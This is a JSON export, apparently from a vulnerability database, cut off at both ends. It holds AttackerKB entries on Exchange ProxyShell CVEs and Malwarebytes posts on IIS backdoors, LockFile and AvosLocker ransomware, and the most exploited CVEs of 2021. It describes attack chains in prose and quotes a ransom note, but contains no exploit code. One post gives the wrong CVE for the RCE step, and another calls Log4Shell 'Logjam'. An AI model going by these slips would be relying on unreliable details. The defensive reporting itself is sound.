"accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T00:00:00", "id": "AKB:116FDAE6-8C6E-473E-8D39-247560D01C09", "href": "https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T17:17:20", "description": "Microsoft Exchange Server Security Feature Bypass Vulnerability\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 1.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "HIGH", "baseScore": 7.2, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-05-11T00:00:00", "type": "attackerkb", "title": "CVE-2021-31207", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207"], "modified": "2021-05-19T00:00:00", "id": "AKB:5E706DDA-98EC-49CA-AB21-4814DAF26444", "href": "https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-05-27T17:21:09", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-31206.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at July 14, 2021 5:15pm UTC reported:\n\nFrom <https://blog.talosintelligence.com/2021/07/microsoft-patch-tuesday-for-july-2021.html> there was a note that this vulnerability seems to have been used in some Exchange Server APT attacks detailed at <https://blog.talosintelligence.com/2021/03/hafnium-update.html> however it wasn\u2019t disclosed that this vulnerability was patched despite being patched back in April 2021. Since this was under active exploitation it is recommended to patch this vulnerability if you haven\u2019t applied April 2021\u2019s patch updates already.\n\nSuccessful exploitation will result in RCE on affected Exchange Servers, and requires no prior user privileges, so patch this soon!\n\nAssessed Attacker Value: 5 \nAssessed Attacker Value: 5Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "attackerkb", "title": "CVE-2021-34473", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31196", "CVE-2021-31206", "CVE-2021-34473"], "modified": "2021-07-20T00:00:00", "id": "AKB:BDCF4DDE-714E-40C0-B4D9-2B4ECBAD31FF", "href": "https://attackerkb.com/topics/pUK1MXLZkW/cve-2021-34473", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-27T17:12:53", "description": "Microsoft Exchange Server Remote Code Execution Vulnerability This CVE ID is unique from CVE-2021-31196, CVE-2021-34473.\n\n \n**Recent assessments:** \n \n**NinjaOperator** at July 14, 2021 7:15pm UTC reported:\n\nThis remote code execution (RCE) vulnerability affects Microsoft Exchange Server 2013/ CU23/2016 CU20/2016 CU21/2019 CU10. \nAnd according to FireEye exploit code is available. \nI will share more information once MSFT releases more details\n\nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-14T00:00:00", "type": "attackerkb", "title": "CVE-2021-31206", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31196", "CVE-2021-31206", "CVE-2021-34473"], "modified": "2021-09-21T00:00:00", "id": "AKB:C4CD066B-E590-48F0-96A7-FFFAFC3D23CC", "href": "https://attackerkb.com/topics/oAhIZujU2O/cve-2021-31206", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "malwarebytes": [{"lastseen": "2022-07-27T16:38:26", "description": "The [Microsoft 365 Defender Research Team](<https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/>) has warned that attackers are increasingly leveraging Internet Information Services (IIS) extensions as covert backdoors into servers.\n\nIIS extensions are able to stay hidden in target environments and as such provide a long-term persistence mechanism for attackers.\n\n## IIS\n\nIIS is webserver software created by Microsoft that runs on Windows systems. Most commonly, organizations use IIS to host ASP.NET web applications and static websites. It can also be used as an FTP server, host WCF services, and be extended to host web applications built on other platforms such as PHP.\n\nExchange Server 2016 and Exchange Server 2019 automatically configure multiple Internet Information Services (IIS) virtual directories during the server installation. As a result, administrators are not always aware of the origin of some directories and their functionality.\n\n## IIS modules\n\nThe IIS 7 and above web server feature set is componentized into more than thirty independent modules. A module is either a Win32 DLL (native module) or a .NET 2.0 type contained within an assembly (managed module). Similar to a set of building blocks, modules are added to the server in order to provide the desired functionality for applications.\n\nMalicious IIS modules are near perfect backdoors. Once installed, they will respond to specifically crafted HTTP requests sent by the operator instructing the server to collect emails, add further malicious access, or use the compromised servers for clandestine purposes. These requests will seem normal to the unsuspicious eye.\n\n## IIS backdoors\n\nIIS backdoors are harder to detect since they mostly reside in the same directories as legitimate modules, and they follow the same code structure as clean modules. The actual backdoor code is hard to detect as such and that also makes it hard to determine the origin.\n\n## ProxyLogon and ProxyShell\n\nSome of the methods used to drop malicious IIS extensions are known as [ProxyLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/proxylogon-poc-becomes-a-game-of-whack-a-mole/>) and [ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>). ProxyLogon consists of four vulnerabilities which can be combined to form an attack chain that only requires the attacker to find the server running Exchange, and the account from which they want to extract email. After exploiting these vulnerabilities to gain initial access, the attackers deploy web shells on the compromised servers to gain persistence and make more changes. Web shells can allow attackers to steal data and perform additional malicious actions.\n\nThe ProxyShell exploit is very similar to ProxyLogon and was discovered more recently. ProxyShell is a different attack chain designed to exploit three separate vulnerabilities: CVE-2021-34473, CVE-2021-34523 and CVE-2021-31207.\n\n## Malicious behavior\n\nOn its blog, the Microsoft Team describes a custom IIS backdoor called FinanceSvcModel.dll which has a built-in capability to perform Exchange management operations, such as enumerating installed mailbox accounts and exporting mailboxes for exfiltration. What's interesting in this example is how the threat actor forced the system to use the WDigest protocol for authentication, resulting in lsass.exe retaining a copy of the user\u2019s plaintext password in memory. This allowed the threat actor to steal the actual passwords and not just the hashes.\n\nCredential stealing can be a goal by itself. But stolen credentials also allow the attackers to remain persistent in the environment, even if the primary backdoor is detected. Credential stealing modules monitor for specific requests to determine a sign-in activity and dump the provided credentials in a file the threat actor can retrieve later.\n\nGiven the rising energy prizes and the falling, yet still profitable, cryptocurrency exchange rates, we wouldn\u2019t be surprised to find servers abused for cryptomining. A few years ago we saw threat actors leveraging an [IIS 6.0 vulnerability](<https://www.bleepingcomputer.com/news/security/windows-servers-targeted-for-cryptocurrency-mining-via-iis-flaw/>) to take over Windows servers and install a malware strain that mined the Electroneum cryptocurrency.\n\n## Mitigation, detection, and remediation\n\nThere are several thing you can do to minimize the risk and consequences of a malicious IIS extension:\n\n * Keep your server software up to date to minimize the risk of infection.\n * Use security software that also covers your servers.\n * Regularly check loaded IIS modules on exposed IIS servers (notably Exchange servers), leveraging existing tools from the IIS servers suite.\n * Deploy a backup strategy that creates regular backups that are easy to deploy when needed.\n * Review permission and access policies, combined with credential hygiene.\n * Prioritize alerts that show patterns of server compromise. It can help to catch attacks in the exploratory phase, the period in which attackers spend time exploring the environment after gaining initial access.\n\nStay safe, everyone!\n\nThe post [IIS extensions are on the rise as backdoors to servers](<https://blog.malwarebytes.com/reports/2022/07/iis-extensions-are-on-the-rise-as-backdoors-to-servers/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-27T13:58:06", "type": "malwarebytes", "title": "IIS extensions are on the rise as backdoors to servers", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-07-27T13:58:06", "id": "MALWAREBYTES:B0F2474F776241731FE08EA7972E6239", "href": "https://blog.malwarebytes.com/reports/2022/07/iis-extensions-are-on-the-rise-as-backdoors-to-servers/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-08-23T18:35:00", "description": "Last Saturday the Cybersecurity and Infrastructure Security Agency issued an [urgent warning](<https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell>) that threat actors are actively exploiting three Microsoft Exchange vulnerabilities\u2014[CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>), [CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>), and [CVE-2021-31207](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207>). These vulnerabilities can be chained together to remotely execute arbitrary code on a vulnerable machine.\n\nThis set of Exchange vulnerabilities is often grouped under the name ProxyShell. Fixes were available in the [May 2021 Security Updates](<https://msrc.microsoft.com/update-guide/releaseNote/2021-May>) issued by Microsoft. (To be more precise, the first two were patched in April and CVE-2021-31207 was patched in May.)\n\n### The attack chain\n\nSimply explained, these three vulnerabilities can be chained together to allow a remote attacker to run code on the unpatched server. Attackers use them as follows:\n\n * **Get in** with CVE-2021-31207, a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process.\n * **Take control **with CVE-2021-34523, a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions.\n * **Do bad things** with CVE-2021-34523, a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files.\n\n### ProxyShell\n\nThe Record reports that ProxyShell has been used to [take over some 2,000 Microsoft Exchange mail servers](<https://therecord.media/almost-2000-exchange-servers-hacked-using-proxyshell-exploit/>) in just two days. This can only happen where organisations use the on-premise version of Exchange, and system administrators haven't installed the April and May patches.\n\nWe know there are many reasons why patching is difficult, and often slow. The high number is surprising though, given the noise level about Microsoft Exchange vulnerabilities has been high since [March](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/patch-now-exchange-servers-attacked-by-hafnium-zero-days/>). Although it may have been muffled by the other alarm cries about PrintNightmare, HiveNightmare, PetitPotam, and many others.\n\n### Ransomware\n\nSeveral researchers have pointed to a ransomware group named LockFile that combines ProxyShell with [PetitPotam](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/microsoft-provides-more-mitigation-instructions-for-the-petitpotam-attack/>). [Kevin Beaumont](<https://twitter.com/GossiTheDog>) has documented how his Exchange honeypot detected exploitation by ProxyShell to drop a [webshell](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>). Later, the threat actor revisited to initiate the staging of artefacts related to the LockFile ransomware. For those interested in how to identify whether their servers are vulnerable, and technical details about the stages in this attack, we highly recommend you read [Kevin Beaumont\u2019s post](<https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c>).\n\n### PetitPotam\n\nBefore we can point out how ProxyShell can lead to a full blown network-wide ransomware infection we ought to tell you more about PetiPotam. PetitPotam enables a threat actor to launch an NTLM relay attack on domain controllers.\n\nPetitPotam uses the `EfsRpcOpenFileRaw` function of the Microsoft Encrypting File System Remote Protocol (MS-EFSRPC) API. MS-EFSRPC is used for maintenance and management operations on encrypted data that is stored remotely, and accessible over a network. The PetitPotam proof-of-concept (PoC) takes the form of a manipulator-in-the-middle (MitM) attack against Microsoft\u2019s NTLM authentication system. The targeted computer is forced to initiate an authentication procedure and share its authentication details via NTLM.\n\nSince the PetitPotam attack is not based on a vulnerability but uses a legitimate function in a way that was not intended, it will be hard to patch for this attack without \u201cbreaking stuff.\u201d Further, stopping the Encrypting File System (EFS) service does not prevent the technique from being exploited. (For mitigation details, see our post about [PetitPotam](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/microsoft-provides-more-mitigation-instructions-for-the-petitpotam-attack/>).)\n\n### LockFile\n\nLockFile attacks have been recorded mostly in the US and Asia, focusing on organizations in financial services, manufacturing, engineering, legal, business services, travel, and tourism. Symantec pointed out in a [blog post](<https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows>) that the ransom note from LockFile ransomware is very similar to the one used by the [LockBit](<http://blog.malwarebytes.com/detections/ransom-lockbit/>) ransomware group and that they reference the Conti gang in their email address. This may mean that members of those gangs have started a new operation, or just be another indication of how all these gangs are [connected, and sharing resources and tactics](<https://blog.malwarebytes.com/ransomware/2021/04/how-ransomware-gangs-are-connected-and-sharing-resources-and-tactics/>).\n\n### Advice\n\nCISA strongly urges organizations to identify vulnerable systems on their networks and immediately apply Microsoft's Security Update from May 2021\u2014which remediates all three ProxyShell vulnerabilities\u2014to protect against these attacks.\n\nWe would like to add that you have a look at the mitigation advice for PetitPotam and prioritize tackling these problems in your updating processes.\n\nStay safe, everyone!\n\nThe post [Patch now! Microsoft Exchange is being attacked via ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-23T13:21:08", "type": "malwarebytes", "title": "Patch now! Microsoft Exchange is being attacked via ProxyShell", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-23T13:21:08", "id": "MALWAREBYTES:6A4862332586F98DA4761BE2B684752F", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-21T21:27:45", "description": "The FBI has issued an[ advisory](<https://www.ic3.gov/Media/News/2022/220318.pdf>) about the AvosLocker ransomware. Notably the FBI has noticed that several victims have reported Microsoft Exchange Server vulnerabilities as the intrusion vector. \n\nAvosLocker is a Ransomware as a Service (RaaS) affiliate-based group that has targeted victims across multiple critical infrastructure sectors in the United States including financial services, critical manufacturing, and government facilities.\n\n## Threat profile\n\nAvosLocker ransomware is a multi-threaded Windows executable written in C++ that runs as a console application and shows a log of actions performed on victim systems. AvosLocker ransomware encrypts files on a victim\u2019s server and renames them with the \u201c.avos\u201d extension.\n\nThe AvosLocker executable leaves a ransom note called GET_YOUR_FILES_BACK.txt in all directories where encryption occurs. The ransom note includes a .onion site that contains instructions for paying the ransom and receiving a decryption key.\n\n\n\n> _Attention!_\n> \n> _Your systems have been encrypted, and your confidential documents were downloaded._\n> \n> _In order to restore your data, you must pay for the decryption key & application._\n> \n> _You may do so by visiting us at <onion address>._\n> \n> _This is an onion address that you may access using Tor Browser which you may download at <https://www.torproject.org/download/>_\n> \n> _Details such as pricing, how long before the price increases and such will be available to you once you enter your ID presented to you below in this note in our website._\n> \n> _Contact us soon, because those who don\u2019t have their data leaked in our press release blog and the price they\u2019ll have to pay will go up significantly._\n> \n> _The corporations whom don\u2019t pay or fail to respond in a swift manner have their data leaked in our blog, accessible at <onion address>_\n\nSo, besides encrypting your files, AvosLocker also exfiltrates data and threatens to publish the stolen data to its leaks site. The public leak site not only lists victims of AvosLocker, along with a sample of data allegedly stolen from the victim\u2019s network, but also gives visitors an opportunity to view a sample of victim data and to purchase that data.\n\nThe FBI also notes that in some cases, AvosLocker victims receive phone calls from an AvosLocker representative. The caller encourages the victim to go to the .onion site to negotiate, and threatens to post stolen data online. In some cases, AvosLocker actors will threaten and execute distributed denial-of-service (DDoS) attacks during negotiations.\n\n## Exchange vulnerabilities\n\nSince AvosLocker is a Ransomware-as-a-Service it may depend on the affiliate which of the vulnerabilities gets used.\n\nThe Exchange Server vulnerabilities are named as: CVE-2021-31207, CVE-2021-34523, and CVE-2021-34473, and CVE-2021-26855.\n\n[CVE-2021-31207](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31207>): a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process. This is the way in.\n\n[CVE-2021-34523](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523>): a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions. This is how they take control.\n\n[CVE-2021-34473](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34473>): a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files. This allows the attacker to drop malware on the server and run it.\n\nThis is exactly the same attack chain we [described](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>) in August 2021. This chain of attack was generally referred to as ProxyShell.\n\nAnother RCE vulnerability in Exchange Server has been seen as well:\n\n[CVE-2021-26855](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26855>): the ProxyLogon vulnerability which we discussed in detail in our article on [Microsoft Exchange attacks causing panic as criminals go shell collecting](<https://blog.malwarebytes.com/malwarebytes-news/2021/03/microsoft-exchange-attacks-cause-panic-as-criminals-go-shell-collecting/>). The vulnerability allows an attacker to drop a webshell on a vulnerable Exchange Server. A web shell is a script used by an attacker that allows them to escalate and maintain persistent access on an already compromised web application. (Obviously, not every web shell is malicious, but the non-malicious ones are not interesting to us in this context.)\n\n## Mitigation\n\nAs we stated earlier, all these vulnerabilities have been patched. So, if you are wondering which updates to install next and you are running one or more Microsoft Exchange Server instances, starting there might be a good idea.\n\nMicrosoft\u2019s team has published a [script on GitHub](<https://github.com/microsoft/CSS-Exchange/tree/main/Security>) that can check the status of protection against ProxyLogon vulnerabilities of Exchange servers.\n\n## Detection\n\nMalwarebytes detects AvosLocker as [Ransom.AvosLocker](<https://blog.malwarebytes.com/detections/ransom-avoslocker/>).\n\n_Malwarebytes blocks Ransom.AvosLocker_\n\nStay safe, everyone!\n\nThe post [AvosLocker ransomware uses Microsoft Exchange Server vulnerabilities, says FBI](<https://blog.malwarebytes.com/ransomware/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-21T21:09:12", "type": "malwarebytes", "title": "AvosLocker ransomware uses Microsoft Exchange Server vulnerabilities, says FBI", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-26855", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2022-03-21T21:09:12", "id": "MALWAREBYTES:B830332817B5D5BEE99EF296E8EC7E2A", "href": "https://blog.malwarebytes.com/ransomware/2022/03/avoslocker-ransomware-uses-microsoft-exchange-server-vulnerabilities-says-fbi/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-29T18:23:40", "description": "A joint Cybersecurity Advisory, coauthored by cybersecurity authorities of the United States (CISA, NSA, and FBI), Australia (ACSC), Canada (CCCS), New Zealand (NZ NCSC), and the United Kingdom (NCSC-UK) has detailed the top 15 Common Vulnerabilities and Exposures (CVEs) routinely exploited by malicious cyber actors in 2021, as well as other CVEs frequently exploited.\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). These are the CVEs that made it into the top 10.\n\n## 1\\. Log4Shell\n\n[CVE-2021-44228](<https://nvd.nist.gov/vuln/detail/CVE-2021-44228>), commonly referred to as [Log4Shell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/12/log4j-zero-day-log4shell-arrives-just-in-time-to-ruin-your-weekend/>) or Logjam. This was a software flaw in the Apache Log4j logging utility. A logger is a piece of software that logs every event that happens in a computer system. The records it produces are useful for IT and security folks to trace errors or check any abnormal behavior within a system.\n\nWhen Log4Shell emerged in December 2021, what caught many by surprise was the enormous number of applications and web services, including those offered by Twitter, Apple, Google, Amazon, Steam, and Microsoft, among others, that were relying on Log4j, many of which inherited the vulnerability.\n\nThis made for an exceptionally broad attack surface. Combine that with an incredibly easy to use exploit and there should be no surprise that this vulnerability made it to the top of the list.\n\nThe Cybersecurity and Infrastructure Security Agency (CISA) has launched an open source scanner to find applications that are vulnerable to the Log4j vulnerabilities listed as CVE-2021-44228 and CVE-2021-45046. The [CISA Log4j scanner](<https://github.com/cisagov/log4j-scanner>) is based on other open source tools and supports scanning lists of URLs, several fuzzing options, DNS callback, and payloads to circumvent web-application firewalls.\n\n## 2\\. CVE-2021-40539\n\n[CVE-2021-40539](<https://nvd.nist.gov/vuln/detail/CVE-2021-40539>) is a REST API authentication bypass [vulnerability in ManageEngine\u2019s single sign-on (SSO) solution](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/09/fbi-and-cisa-warn-of-apt-groups-exploiting-adselfservice-plus/>) with resultant remote code execution (RCE) that exists in Zoho ManageEngine ADSelfService Plus version 6113 and prior. When word of this vulnerability came out it was already clear that it was being exploited in the wild. Zoho remarked that it was noticing indications of this vulnerability being exploited. Other researchers chimed in saying the attacks had thus far been highly targeted and limited, and possibly the work of a single threat actor. It was clear from the start that [APT](<https://blog.malwarebytes.com/glossary/advanced-persistent-threat-apt/>) threat-actors were likely among those exploiting the vulnerability.\n\nThe vulnerability allows an attacker to gain unauthorized access to the product through REST API endpoints by sending a specially crafted request. This allows attackers to carry out subsequent attacks resulting in RCE.\n\nFor those that have never heard of this software, it\u2019s a self-service password management and single sign-on (SSO) solution for Active Directory (AD) and cloud apps. Which means that any attacker that is able to exploit this vulnerability immediately has access to some of the most critical parts of a corporate network. A patch for this vulnerability was made available on September 7, 2021. Users were advised to update to ADSelfService Plus build 6114. The FBI, CISA, and CGCYBER also strongly urged organizations to make sure that ADSelfService Plus was not directly accessible from the Internet.\n\nThe [ManageEngine site](<https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html>) has specific instructions on how to identify and update vulnerable installations.\n\n## 3\\. ProxyShell\n\nThird on the list are 3 vulnerabilities that we commonly grouped together and referred to as [ProxyShell](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/08/patch-now-microsoft-exchange-attacks-target-proxyshell-vulnerabilities/>). [CVE-2021-34523](<https://nvd.nist.gov/vuln/detail/CVE-2021-34523>), [CVE-2021-34473](<https://nvd.nist.gov/vuln/detail/CVE-2021-34473>), and [CVE-2021-31207](<https://nvd.nist.gov/vuln/detail/CVE-2021-31207>).\n\nThe danger lies in the fact that these three vulnerabilities can be chained together to allow a remote attacker to run code on an unpatched Microsoft Exchange server. Attackers use them as follows:\n\n * **Get in** with CVE-2021-31207, a Microsoft Exchange Server security feature bypass vulnerability. The vulnerability allows a remote user to bypass the authentication process.\n * **Take control **with CVE-2021-34523, a Microsoft Exchange Server elevation of privilege (EoP) vulnerability. The vulnerability allows a user to raise their permissions.\n * **Do bad things** with CVE-2021-34473, a Microsoft Exchange Server remote code execution (RCE) vulnerability. The vulnerability allows an authenticated user to execute arbitrary code in the context of SYSTEM and write arbitrary files.\n\nThe vulnerabilities were found in Microsoft Exchange Server, which has a large userbase and which is usually set up as an Internet-facing instance. Plus, many publications have provided proof-of-concept (PoC) methodologies which anyone can copy and use.\n\nMicrosoft\u2019s Security Update from May 2021 remediates all three ProxyShell vulnerabilities.\n\n## 4\\. ProxyLogon\n\nAfter the ProxyShell entries we go straight to four vulnerabilities that are grouped under a similar name\u2014[ProxyLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/03/proxylogon-poc-becomes-a-game-of-whack-a-mole/>)\u2014for similar reasons. [CVE-2021-26855](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26855>), 